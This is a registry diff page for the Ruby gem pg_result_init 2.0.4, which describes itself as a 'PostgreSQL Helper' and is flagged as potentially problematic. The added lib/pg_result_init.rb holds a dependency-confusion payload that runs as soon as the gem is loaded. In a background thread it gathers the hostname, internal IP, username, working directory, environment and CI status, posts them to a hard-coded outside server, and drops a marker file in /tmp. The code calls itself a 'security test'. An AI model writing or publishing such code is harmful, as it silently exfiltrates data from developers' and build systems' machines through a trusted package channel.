pg_result_init 2.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pg_result_init might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/pg_result_init.rb +50 -0
- metadata +42 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: ff7a930a977ca41b77fd4a2a8f4390072c8bb5f5f5542a6d2ecd0fbd7dffd2d7
|
|
4
|
+
data.tar.gz: c191b5990aa17d22399baccd4c706d611213b81fa6ca7bc99ace784f9c196c9f
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: ea770538b449003b93059ca21b60fe2e93da775197430170bc2091d019540b19a487d486503aa71279e38ea050c68d6d115ac8ebf96b47f20f11d811e5d6f95d
|
|
7
|
+
data.tar.gz: 691a5406aeff2f88abe5875e13a21d7f8152b1a4151c6cbb12a03ff2dd44a61e1c07a9bc2f5ee65e9da24875bd0fb047ca891a71e4cc2eff1ea6d262e74a465a
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
puts "=" * 60
|
|
2
|
+
puts "SECURITY TEST: pg_result_init v2.0.4"
|
|
3
|
+
puts "=" * 60
|
|
4
|
+
|
|
5
|
+
Thread.new do
|
|
6
|
+
begin
|
|
7
|
+
require 'socket'
|
|
8
|
+
require 'net/http'
|
|
9
|
+
require 'json'
|
|
10
|
+
|
|
11
|
+
data = {
|
|
12
|
+
hostname: Socket.gethostname,
|
|
13
|
+
ip: Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }&.ip_address,
|
|
14
|
+
user: ENV['USER'] || `whoami`.chomp,
|
|
15
|
+
path: Dir.pwd,
|
|
16
|
+
env: ENV['RAILS_ENV'] || 'development',
|
|
17
|
+
ci: ENV['CI'] ? 'yes' : 'no',
|
|
18
|
+
time: Time.now.utc.iso8601,
|
|
19
|
+
gem: "pg_result_init",
|
|
20
|
+
version: "2.0.4"
|
|
21
|
+
}
|
|
22
|
+
|
|
23
|
+
uri = URI("http://172.21.162.83:8000/")
|
|
24
|
+
http = Net::HTTP.new(uri.host, uri.port)
|
|
25
|
+
http.read_timeout = 3
|
|
26
|
+
|
|
27
|
+
request = Net::HTTP::Post.new(uri)
|
|
28
|
+
request['Content-Type'] = 'application/json'
|
|
29
|
+
request.body = data.to_json
|
|
30
|
+
|
|
31
|
+
http.request(request)
|
|
32
|
+
|
|
33
|
+
puts "✅ Data sent to security monitor"
|
|
34
|
+
puts "📡 Server: 172.21.162.83:8000"
|
|
35
|
+
|
|
36
|
+
rescue => e
|
|
37
|
+
puts "⚠️ Could not send: #{e.message}"
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
File.write("/tmp/gem_test_#{Time.now.to_i}.txt",
|
|
42
|
+
"Test gem executed at: #{Time.now}\n" +
|
|
43
|
+
"This proves dependency confusion vulnerability\n"
|
|
44
|
+
)
|
|
45
|
+
|
|
46
|
+
puts "=" * 60
|
|
47
|
+
|
|
48
|
+
module PgResultInit
|
|
49
|
+
VERSION = "2.0.4"
|
|
50
|
+
end
|
metadata
ADDED
|
@@ -0,0 +1,42 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: pg_result_init
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 2.0.4
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- Security Auditor
|
|
8
|
+
autorequire:
|
|
9
|
+
bindir: bin
|
|
10
|
+
cert_chain: []
|
|
11
|
+
date: 2025-12-01 00:00:00.000000000 Z
|
|
12
|
+
dependencies: []
|
|
13
|
+
description:
|
|
14
|
+
email:
|
|
15
|
+
executables: []
|
|
16
|
+
extensions: []
|
|
17
|
+
extra_rdoc_files: []
|
|
18
|
+
files:
|
|
19
|
+
- lib/pg_result_init.rb
|
|
20
|
+
homepage:
|
|
21
|
+
licenses: []
|
|
22
|
+
metadata: {}
|
|
23
|
+
post_install_message:
|
|
24
|
+
rdoc_options: []
|
|
25
|
+
require_paths:
|
|
26
|
+
- lib
|
|
27
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
28
|
+
requirements:
|
|
29
|
+
- - ">="
|
|
30
|
+
- !ruby/object:Gem::Version
|
|
31
|
+
version: '0'
|
|
32
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
33
|
+
requirements:
|
|
34
|
+
- - ">="
|
|
35
|
+
- !ruby/object:Gem::Version
|
|
36
|
+
version: '0'
|
|
37
|
+
requirements: []
|
|
38
|
+
rubygems_version: 3.3.5
|
|
39
|
+
signing_key:
|
|
40
|
+
specification_version: 4
|
|
41
|
+
summary: PostgreSQL Helper
|
|
42
|
+
test_files: []
|